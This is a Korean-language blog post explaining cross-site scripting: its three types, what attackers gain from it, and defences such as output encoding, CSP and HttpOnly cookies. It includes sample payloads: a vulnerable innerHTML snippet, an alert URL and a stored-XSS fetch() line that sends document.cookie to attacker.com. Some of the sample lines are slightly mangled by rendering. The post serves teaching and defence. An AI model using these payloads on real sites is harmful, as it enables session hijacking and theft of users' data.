1. XSS 공격 개요
XSS (Cross-Site Scripting)는 웹 애플리케이션 취약점을 이용해 악성 스크립트(주로 JavaScript)를 삽입하고, 이를 다른 사용자의 브라우저에서 실행시키는 공격입니다.
XSS는 공격자가 작성한 스크립트가 피해자의 브라우저에서 실행된다는 점이 핵심입니다. 이 스크립트는 쿠키, 세션 토큰, 사용자 입력 정보 등을 탈취하거나, 사용자의 브라우저를 조작하거나, 악성 사이트로 리다이렉션시킬 수 있습니다.
중요 포인트:
- 서버 입장에서는 정상 요청처럼 보인다.
- 피해자는 보통 자신이 공격당하고 있다는 것을 인지하기 어렵다.
2. XSS 공격의 기본 구조
- 공격자가 악성 스크립트를 웹사이트에 삽입
- 웹사이트가 별다른 검증 없이 이 스크립트를 포함해 응답
- 피해자가 웹사이트에 접속하면서 삽입된 스크립트가 실행
- 스크립트가 피해자의 쿠키, 세션 토큰 등을 탈취하거나 다른 행위를 수행
3. XSS 공격 유형
XSS는 공격이 삽입·전달되는 방식에 따라 보통 다음 세 가지로 구분됩니다.
(1) 저장형 XSS (Stored XSS, Persistent XSS)
- 공격 스크립트가 서버에 저장된다 (예: 게시판 글, 댓글, 프로필 정보 등).
- 다른 사용자가 그 페이지에 접속하면 저장된 스크립트가 실행된다.
예시:
게시판 글 제목에 <script>stealCookie()</script>를 삽입 → 다른 사용자가 글을 열람 시 쿠키 탈취
특징:
- 피해자가 링크를 클릭하지 않아도 됨
- 파급력 큼 (다수 사용자에 영향)
(2) 반사형 XSS (Reflected XSS)
- 공격 스크립트가 서버에 저장되지 않고, HTTP 요청에 포함된 입력값이 바로 응답에 반영된다.
- 사용자가 조작된 링크를 클릭하거나 폼을 제출할 때 공격이 발동한다.
예시:
URL에 악성 스크립트 삽입 → 서버가 이를 그대로 반영 → 사용자 브라우저에서 실행
https://example.com/search?q=stealCookie()
특징:
- 사용자가 공격자가 만든 링크를 클릭해야 함
- 보통 이메일, 메신저 등을 통해 유도
(3) DOM 기반 XSS (DOM-based XSS)
- 서버 응답에는 문제가 없고, 브라우저가 클라이언트 측(JavaScript)에서 입력값을 처리할 때 발생
- 입력값을 DOM에 삽입할 때 적절한 검증/인코딩이 이뤄지지 않아 발생한다.
예시 (JavaScript 코드에서 직접 취약):
var search = location.hash.substring(1);
document.getElementById("result").innerHTML = search;
위 코드에 대해 URL을 다음과 같이 조작:
https://example.com/#alert('XSS')
→ 브라우저가 해시값을 파싱해 그대로 DOM에 삽입하면서 스크립트가 실행
특징:
- 서버는 모른다.
- 클라이언트 스크립트 로직이 취약
4. XSS 공격의 결과 및 위협
XSS 공격이 성공하면 공격자는 다음을 할 수 있습니다:
- 쿠키/세션 탈취 (ex: 세션 하이재킹)
- 사용자 계정 탈취 (ex: 자동 로그인 세션 탈취)
- 피싱 페이지 생성 (ex: 로그인 페이지 위조)
- 웹사이트 조작 (ex: 화면 변조, 악성광고 삽입)
- 키 입력 기록 (ex: 키로거 기능 삽입)
- 브라우저 취약점 공격 (ex: RCE로 이어질 수 있음)
5. XSS 방어 방법
XSS를 막기 위해서는 다층 방어(Defense-in-Depth)가 필요합니다.
(1) 입력 검증 (Input Validation)
- 사용자 입력에서 스크립트 코드 삽입을 차단
- 허용된 값(화이트리스트)만 받기
- 입력단에서 HTML, JavaScript 예약어 차단
(2) 출력 인코딩 (Output Encoding)
- HTML 페이지에 출력하기 전에, 입력값을 HTML 엔티티로 변환
- 예: < → <, > → >
특히 위치에 따라 맞는 인코딩을 해야 한다:
- HTML 본문 → HTML Encoding
- JavaScript 코드 안 → JavaScript Encoding
- URL 안 → URL Encoding
- CSS 안 → CSS Encoding
(3) Content Security Policy (CSP) 설정
- script-src 등으로 스크립트 실행을 강하게 제어
- 인라인 스크립트나 외부 스크립트 로딩을 제한
Content-Security-Policy: default-src 'self'; script-src 'self'
(4) HTTPOnly 속성으로 쿠키 보호
- 쿠키를 JavaScript에서 접근하지 못하도록 설정
- 세션 쿠키 탈취 리스크 감소
Set-Cookie: sessionId=abc123; HttpOnly; Secure
(5) 프레임워크 보안 기능 활용
- React, Angular, Vue.js 등은 자동으로 output escaping을 지원
- 개발자가 직접 태그를 삽입하지 않는 한 안전
6. Stored-XSS 공격 예시
1. 공격자가 게시판에 다음과 같은 글을 작성합니다.
fetch('<a href=http://attacker.com/steal?cookie='+document.cookie)>http://attacker.com/steal?cookie='+document.cookie)</a>
2. 다른 사용자가 게시판을 열람하면, 이 스크립트가 브라우저에서 실행됩니다.
3. 피해자의 쿠키 정보가 attacker.com 서버로 전송됩니다.
4. 공격자는 피해자 쿠키를 통해 세션을 탈취할 수 있습니다.
'정보보호' 카테고리의 다른 글
SQL Injection 개념 및 대응 방법 (0) | 2025.04.29 |
---|---|
Snooping 공격에 대한 개념 (0) | 2025.04.29 |
드라이브 바이 다운로드(Drive-by Download) 개념 (0) | 2025.04.28 |
Malware 악성코드에 대한 종류와 개념 (0) | 2025.04.27 |
웹쉘(Web Shell) 개념 (0) | 2025.04.27 |